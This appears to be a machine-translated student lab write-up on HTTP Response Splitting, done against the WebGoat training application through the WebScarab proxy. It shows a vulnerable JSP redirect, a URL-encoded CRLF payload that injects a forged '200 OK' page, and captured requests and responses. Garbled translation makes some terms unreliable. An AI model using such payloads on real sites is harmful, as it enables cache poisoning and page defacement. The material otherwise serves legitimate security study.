Research on HTTP Response Splitting attacks

Section 1: HTTP Basics: Use the Proxy software (such as Webscarab) to intercept the HTTP Communication Between the browser (client) and the Server, and tamper with the client to obtain the expected result.

 

Section 2: HTTP Splitting :( it should actually be HTTP Response Splitting)

Two steps

1. HTTP Splitting: by injecting an HTTP request, the Server returns two HTTP response (at least because the Server receives two HTTP response responses) instead of one. By carefully constructing the second HTTP response, attackers can achieve any purpose! The attack is because the server does not check illegal data input and redirects the request (code 3x x, "setcookie" or "Location ").

2. Cache pythoning;

 

HTTP Response Splitting introduction:

"HTTP Response Splitting" is a new application attack technique which enables various new attacks such as web cache login oning, cross user defacement, hijacking pages with sensitive user information and an old favorite, cross-site scripting (XSS ). this attack technique, and the derived attacks from it, are relevant to most web environments and is the result of the application's failure to reject illegal user input, in this case, input containing malicious or unexpected characters.

 

Cause of HTTP Response Splitting vulnerability:

The HTTP response splitting vulnerability is the result of the application's failure

Reject illegal user input. Specifically, input containing malicious or unexpected CR

And LF characters.

The precondition for an HTTP Response Splitting attack is that when the Server has a security vulnerability, the Server does not reject illegal client input, in addition, the Server script directly embeds user input data in HTTP response headers.

And,

HTTP1.1 allows the client and server to exchange multiple HTTP requests in the same TCP session. HTTP1.0 must establish a TCP connection before each HTTP session.

 

Role Analysis in HTTP Response Splitting attacks:

1. Web Server (with security vulnerabilities that can prompt HTTP Response Splitting)

2. Victim Target: a client that can normally interact with the Web Server (played by Attacker in WebGoat ). It can be a browser (usually with a browser cache) or a cache server (forward/reverse proxy)

3. Attacker-launch an Attacker

 

 

 

HTTP Response Splitting attack nature:

The essence of HTTP Response Splitting is the attacker's ability to send a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response, in the normal case. the first response may be partially controlled by the attacker, but this is less important. what is material is that the attacker completely controls the form of the second response from the HTTP status line to the last byte of the HTTP response body. once this is possible, the attacker realizes the attack by sending two requests through the target. the first one invokes two responses from the web server, and the second request wowould typically be to some "innocent" resource on the web server. however, the second request wocould be matched, by the target, to the second HTTP response, which is fully controlled by the attacker. the attacker, therefore, tricks the target into believing that a participant resource on the web server (designated by the second request) is the server's HTTP response (server content ), while it is in fact some data, which is forged by the attacker through the web server-this is the second response.

 

HTTP Response Splitting attack analysis:

 

HTTP Response Splitting attacks take place where the server script embeds user data in HTTP response headers. this typically happens when the script embeds user data in the redirection URL of a redirection response (HTTP status code 3xx ), or when the script embeds user data in a cookie value or name when the response sets a cookie.

That is, the Server does not reject illegal client input, and the Server script directly embeds user input data into HTTP response headers.

Server script embeds user input data into the Redirect URL address (Location line) of HTTP redirection Response (HTTP status code 3xx) or when response sets the cookie, the sever script embeds the user input data into the cookie value/name.

 

 

Example:

Consider the following JSP page (in/redir_lang.jsp ):

<%

Response. sendRedirect ("/by_lang.jsp? Lang = "+

Request. getParameter ("lang "));

%>

When you call/redir_lang.jsp using the lang = English parameter, the server will automatically redirect to/by_lang.jsp? Lang = English

 

HTTP Response and request packet format (investigation required !!!!)

CR = Carriage return (% 0d or/r or a scii 1 3)
LF = Line Feed (% 0a or/n or a scii 1 0)
Http is built as follow:
Initial line, ends with CRLF
Header lines, ends with CRLF
Blank line (= CRLF)
Body

Because the data is parsed as an HTTP request, replace LF with CRLF.

 

 

HTTP Response Splitting Attack Process

Enter malformed data in the input box on the Webgoat test page:

Chinese % 0d % 0aContent-Length: % 200% 0d % 0a % 0d % 0 aHTTP/1.1% 20200% 20OK % 0d % 0aContent-Type: % 20 text/html % 0d % 0aContent-Length: % 2029% 0d % 0a % 0d % 0a

 

 

 

You can use urluncode in http://yehg.net/encoding/#to parse the data volume, that is:

 

Chinese

Content-Length: 0

 

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 29

 

<Html> Hacked by ZhengC

It should be noted that the packet format of the HTTP request and response must be met when the malformed data is constructed. For example, both HTTP requests and responses must use CRLF (% 0d % 0a) to separate the header and body of the data packet.

 

 

Target resolvesContent-Length: 0,The body content of the request package is null.Content-Length: 0It is equivalent to truncating a GET request packet into a GET request with 0 content and the following data packet (we carefully construct an HTTP200 response ).

 

Webscarab intercepts POST requests and Server Response

You need to set WebScarab

The Request sent to Server is:

 

POST http: // localhost: 8080/webgoat/lessons/General/redirect. jsp? Screen = 3 & menu = 100 HTTP/1.1

Host: localhost: 8080

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: 1.9.2.11) Gecko/20101012 Firefox/3.6.11

Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8

Accept-Language: en-us, en; q = 0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1, UTF-8; q = 0.7, *; q = 0.7

Keep-Alive: 115

Proxy-Connection: keep-alive

Referer: http: // localhost: 8080/webgoat/attack? Screen = 3 & menu = 100 & Restart = 3

Cookie: JSESSIONID = 2CF8DFAB32C4CF39DB4023D1BB2EF98E

Content-Type: application/x-www-form-urlencoded

Content-length: 245

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q =

 

Language = chinese % 250d % 250aContent-Length % 3A % 25200% 250d % 250a % 250d % 250 aHTTP % 2F1. 1% 2520200% 2520OK % 250d % 250aContent-Type % 3A % 2520 text % 2 Fhtml % 250d % 250aContent-Length % 3A % 252029% 250d % 250a % 250d % 250a % 3 Chtml % 3 EHacked + by + ZhengC % 3C % 2 Fhtml % 3E & SUBMIT = Search % 21

 

 

Server sent response (302) to proxy:

 

HTTP/1.1 302 Moved Temporarily

Server: Apache-Coyote/1.1

Location: http: // localhost: 8080/webgoat/attack? Screen = 3 & menu = 100 & fromRedirect = yes & language = chinese % 0d % 0aContent-Length: % 200% 0d % 0a % 0d % 0 aHTTP/1.1% 20200% 20OK % 0d % 0aContent-Type: % 20 text/html % 0d % 0aContent-Length: % 2029% 0d % 0a % 0d % 0a

Content-Type: text/html; charset = ISO-8859-1

Content-length: 0

Date: Wed, 27 Oct 2010 06:18:13 GMT

 

Result: because of a redirection (status code 302), the input data is placed in the Location row of the response header. Server redirects to a new URL: that is, the second request sent from Target. The request here can be replaced with any normal request to the server, when the Server returns the 302 redirection response, Content-Length: 0 truncates the GET request, and the specially constructed data under it is parsed by Target as another HTTP response packet of 200 OK, and cached on the cache. GET http://localhost:8080/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinese%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2029%0d%0a%0d%0a%3Chtml%3EHacked%20by%20ZhengC%3C/html%3E HTTP/1.1 Host: localhost: 8080User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: 1.9.2.11) Gecko/20101012 Firefox/3.6.11Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8Accept-Language: en-us, en; q = 0.5Accept-Encoding: gzip, deflateAccept-Charset: ISO-8859-1, UTF-8; q = 0.7, *; q = 0.7Keep-Alive: 115Proxy-Connection: keep-aliveReferer: http://localhost:8080/webgoat/attack?Screen=3&menu=100&Restart=3Cookie : JSESSIONID = 2CF8DFAB32C4CF39DB4023D1BB2EF98EAuthorization: Basic Z3Vlc3Q6Z3Vlc3Q = when the preceding (second) GET request is sent, the Proxy automatically returns the 200 OK HTTP Response to the Target.

 

HTTP/1.1 200 OKServer: Apache-Coyote/1.1 Pragma: No-cacheCache-Control: no-cacheExpires: Thu, 01 Jan 1970 08:00:00 CSTContent-Type: text/htmlX-Transfer-Encoding: chunkedDate: Wed, 27 Oct 2010 06:41:50 GMTContent-length: 29  

Problems encountered during the experiment: 1. Due to WebGoat design defects, Attacker and Target are the same roles during the practice, so when I perform the second GET request (GET http://localhost:8080/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinese%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2029%0d%0a%0d%0a%3Chtml%3EHacked%20by%20ZhengC%3C/html%3E HTTP/1.1) after tampering (Change Hacked by Zhengc to Hacked), the best attack result is Hacked, which puts me in a dilemma. At first, I assume that browser parses the information in the Server's first response packet and mistakenly believes that it is two HTTP responses, but this result denies this assumption, because the final response result (200 OK... "Hacked "..) is obtained based on the second GET request. Therefore, I mistakenly thought that the Server that obtained the GET request had a false resolution and judged the data after Content-Length: 0 as an HTTP (200) and return the response to browser. In this case, there is a misunderstanding: Why does the server return the data in the HTTP response packet format after a GET request packet to the client that sends the GET request! The final problem found was that the Webscarab I used is itself a Proxy, which exists between browser and Server. Therefore, this experiment should be based on three role models, not just the Client/Server model. For the Proxy, he cannot tell the direction of the Server and Client. He can only judge the packet information based on the received packet format and forward or cache it. Therefore, when I tamper with the data in the second GET and GET different responses, the Server does not parse the response data of the GET request and return it, instead, the Proxy receives the request (before forwarding it to the Server), parses it to GET a GET request and the subsequent HTTP (200) response data format, this HTTP Response overwrites the HTTP Response cached by the Proxy when the Server sends back the HTTP 302 response. At this point, the Proxy will return the cached HTTP (200) response to the Browser, whether it is the GET request with constructed malformed data or other normal GET requests. 2. Continue to familiarize yourself with the formats of HTTP request packets and response packets, and build other responses except HTTP (200 OK) responses!